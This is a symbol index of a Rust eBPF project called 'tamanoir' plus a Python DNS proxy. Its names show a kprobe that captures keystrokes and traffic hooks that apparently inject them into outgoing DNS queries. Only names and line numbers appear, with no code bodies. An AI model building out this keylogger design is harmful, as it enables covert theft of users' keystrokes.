SYMBOL INDEX (46 symbols across 7 files) FILE: proxy/main.py class ProxyResolver (line 21) | class ProxyResolver(BaseResolver): method __init__ (line 22) | def __init__(self, address, port, timeout=0, strip_aaaa=False): method resolve (line 28) | def resolve(self, request, handler): class PassthroughDNSHandler (line 50) | class PassthroughDNSHandler(DNSHandler): method get_reply (line 51) | def get_reply(self, data): function send_udp (line 99) | def send_udp(data, host, port): FILE: tamanoir-ebpf/src/common.rs constant IP_OFFSET (line 19) | pub const IP_OFFSET: usize = EthHdr::LEN; constant IP_TOT_LEN_OFFSET (line 20) | pub const IP_TOT_LEN_OFFSET: usize = IP_OFFSET + 2; constant IP_CSUM_OFFSET (line 21) | pub const IP_CSUM_OFFSET: usize = IP_OFFSET + 10; constant IP_SRC_ADDR_OFFSET (line 22) | pub const IP_SRC_ADDR_OFFSET: usize = IP_OFFSET + 12; constant IP_DEST_ADDR_OFFSET (line 23) | pub const IP_DEST_ADDR_OFFSET: usize = IP_OFFSET + 16; constant UDP_OFFSET (line 24) | pub const UDP_OFFSET: usize = IP_OFFSET + Ipv4Hdr::LEN; constant UDP_DEST_PORT_OFFSET (line 25) | pub const UDP_DEST_PORT_OFFSET: usize = UDP_OFFSET + 2; constant UDP_LEN_OFFSET (line 26) | pub const UDP_LEN_OFFSET: usize = UDP_OFFSET + 4; constant UDP_CSUM_OFFSET (line 27) | pub const UDP_CSUM_OFFSET: usize = UDP_OFFSET + 6; constant DNS_QUERY_OFFSET (line 28) | pub const DNS_QUERY_OFFSET: usize = UDP_OFFSET + 8; constant BPF_ADJ_ROOM_NET (line 30) | pub const BPF_ADJ_ROOM_NET: u32 = 0; constant KEYS_EVENTS_LEN (line 32) | pub const KEYS_EVENTS_LEN: usize = 4; constant KEYS_PAYLOAD_LEN (line 33) | pub const KEYS_PAYLOAD_LEN: usize = 2 * KEYS_EVENTS_LEN; constant DNS_PAYLOAD_MAX_LEN (line 34) | pub const DNS_PAYLOAD_MAX_LEN: usize = 128; type KeyEvent (line 39) | pub struct KeyEvent { type UpdateType (line 46) | pub enum UpdateType { function update_addr (line 51) | pub fn update_addr( function _update_port (line 86) | pub fn _update_port( function update_udp_hdr_len (line 117) | pub fn update_udp_hdr_len(ctx: &mut TcContext, new_be: &u16) -> Result<(... function update_ip_hdr_tot_len (line 126) | pub fn update_ip_hdr_tot_len(ctx: &mut TcContext, old_be: &u16, new_be: ... function inject_keys (line 141) | pub fn inject_keys( function load_bytes (line 155) | pub fn load_bytes(ctx: &mut TcContext, offset: usize, dst: &mut [u8]) ->... function store_bytes (line 180) | pub fn store_bytes( FILE: tamanoir-ebpf/src/egress.rs type Buf (line 22) | pub struct Buf { function tamanoir_egress (line 30) | pub fn tamanoir_egress(mut ctx: TcContext) -> i32 { function read_keys (line 37) | fn read_keys() -> [u8; KEYS_PAYLOAD_LEN] { function tc_process_egress (line 47) | fn tc_process_egress(ctx: &mut TcContext) -> Result { FILE: tamanoir-ebpf/src/ingress.rs function tamanoir_ingress (line 19) | pub fn tamanoir_ingress(mut ctx: TcContext) -> i32 { function tc_process_ingress (line 27) | fn tc_process_ingress(ctx: &mut TcContext) -> Result { FILE: tamanoir-ebpf/src/kprobe.rs constant KEY_EVENT (line 11) | const KEY_EVENT: u32 = 1; constant KEY_CODE_MAX (line 12) | const KEY_CODE_MAX: u8 = u8::MAX; type Modifiers (line 16) | enum Modifiers { constant LEN (line 24) | pub const LEN: usize = mem::size_of::(); method variants (line 25) | pub fn variants() -> &'static [Modifiers] { method from_id (line 34) | pub fn from_id(id: u8) -> Option { function tamanoir_kprobe (line 51) | pub fn tamanoir_kprobe(ctx: ProbeContext) -> u32 { function kprobe_process (line 58) | fn kprobe_process(ctx: ProbeContext) -> Result { FILE: tamanoir-ebpf/src/main.rs function panic (line 13) | fn panic(_info: &core::panic::PanicInfo) -> ! { FILE: tamanoir/src/main.rs type Opt (line 12) | struct Opt { function main (line 27) | async fn main() -> anyhow::Result<()> {